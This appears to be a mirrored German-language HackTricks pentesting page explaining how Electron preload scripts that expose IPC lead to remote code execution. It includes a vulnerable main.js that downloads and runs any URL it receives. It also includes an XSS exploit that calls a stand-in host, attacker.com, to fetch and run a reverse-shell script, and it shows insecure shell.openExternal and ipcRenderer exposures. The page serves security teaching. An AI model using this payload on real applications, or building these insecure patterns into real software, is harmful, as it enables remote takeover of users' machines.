mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
121 lines
5.6 KiB
Markdown
121 lines
5.6 KiB
Markdown
# Electron contextIsolation RCE via IPC
|
|
|
|
{% hint style="success" %}
|
|
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
|
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
Wenn das Preload-Skript einen IPC-Endpunkt aus der main.js-Datei exponiert, kann der Renderer-Prozess darauf zugreifen und, falls verwundbar, könnte eine RCE möglich sein.
|
|
|
|
**Die meisten dieser Beispiele stammen von hier** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Überprüfe das Video für weitere Informationen.
|
|
|
|
## Beispiel 0
|
|
|
|
Beispiel von [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (du hast das vollständige Beispiel, wie MS Teams XSS zu RCE missbraucht hat, in diesen Folien, dies ist nur ein sehr einfaches Beispiel):
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Beispiel 1
|
|
|
|
Überprüfe, wie die `main.js` auf `getUpdate` hört und **jede URL** herunterlädt und ausführt, die übergeben wird.\
|
|
Überprüfe auch, wie `preload.js` **jedes IPC**-Ereignis von main exponiert.
|
|
```javascript
|
|
// Part of code of main.js
|
|
ipcMain.on('getUpdate', (event, url) => {
|
|
console.log('getUpdate: ' + url)
|
|
mainWindow.webContents.downloadURL(url)
|
|
mainWindow.download_url = url
|
|
});
|
|
|
|
mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
|
|
console.log('downloads path=' + app.getPath('downloads'))
|
|
console.log('mainWindow.download_url=' + mainWindow.download_url);
|
|
url_parts = mainWindow.download_url.split('/')
|
|
filename = url_parts[url_parts.length-1]
|
|
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
|
|
console.log('downloadPath=' + mainWindow.downloadPath)
|
|
// Set the save path, making Electron not to prompt a save dialog.
|
|
item.setSavePath(mainWindow.downloadPath)
|
|
|
|
item.on('updated', (event, state) => {
|
|
if (state === 'interrupted') {
|
|
console.log('Download is interrupted but can be resumed')
|
|
}
|
|
else if (state === 'progressing') {
|
|
if (item.isPaused()) console.log('Download is paused')
|
|
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
|
|
}
|
|
})
|
|
|
|
item.once('done', (event, state) => {
|
|
if (state === 'completed') {
|
|
console.log('Download successful, running update')
|
|
fs.chmodSync(mainWindow.downloadPath, 0755);
|
|
var child = require('child_process').execFile;
|
|
child(mainWindow.downloadPath, function(err, data) {
|
|
if (err) { console.error(err); return; }
|
|
console.log(data.toString());
|
|
});
|
|
}
|
|
else console.log(`Download failed: ${state}`)
|
|
})
|
|
})
|
|
```
|
|
|
|
```javascript
|
|
// Part of code of preload.js
|
|
window.electronSend = (event, data) => {
|
|
ipcRenderer.send(event, data);
|
|
};
|
|
```
|
|
Exploit:
|
|
```html
|
|
<script>
|
|
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
|
</script>
|
|
```
|
|
## Beispiel 2
|
|
|
|
Wenn das Preload-Skript direkt eine Möglichkeit bietet, `shell.openExternal` im Renderer aufzurufen, ist es möglich, RCE zu erlangen.
|
|
```javascript
|
|
// Part of preload.js code
|
|
window.electronOpenInBrowser = (url) => {
|
|
shell.openExternal(url);
|
|
};
|
|
```
|
|
## Beispiel 3
|
|
|
|
Wenn das Preload-Skript Möglichkeiten bietet, vollständig mit dem Hauptprozess zu kommunizieren, kann ein XSS jedes Ereignis senden. Die Auswirkungen hängen davon ab, was der Hauptprozess in Bezug auf IPC bereitstellt.
|
|
```javascript
|
|
window.electronListen = (event, cb) => {
|
|
ipcRenderer.on(event, cb);
|
|
};
|
|
|
|
window.electronSend = (event, data) => {
|
|
ipcRenderer.send(event, data);
|
|
};
|
|
```
|
|
{% hint style="success" %}
|
|
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Unterstütze HackTricks</summary>
|
|
|
|
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
|
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
|
|
|
</details>
|
|
{% endhint %}
|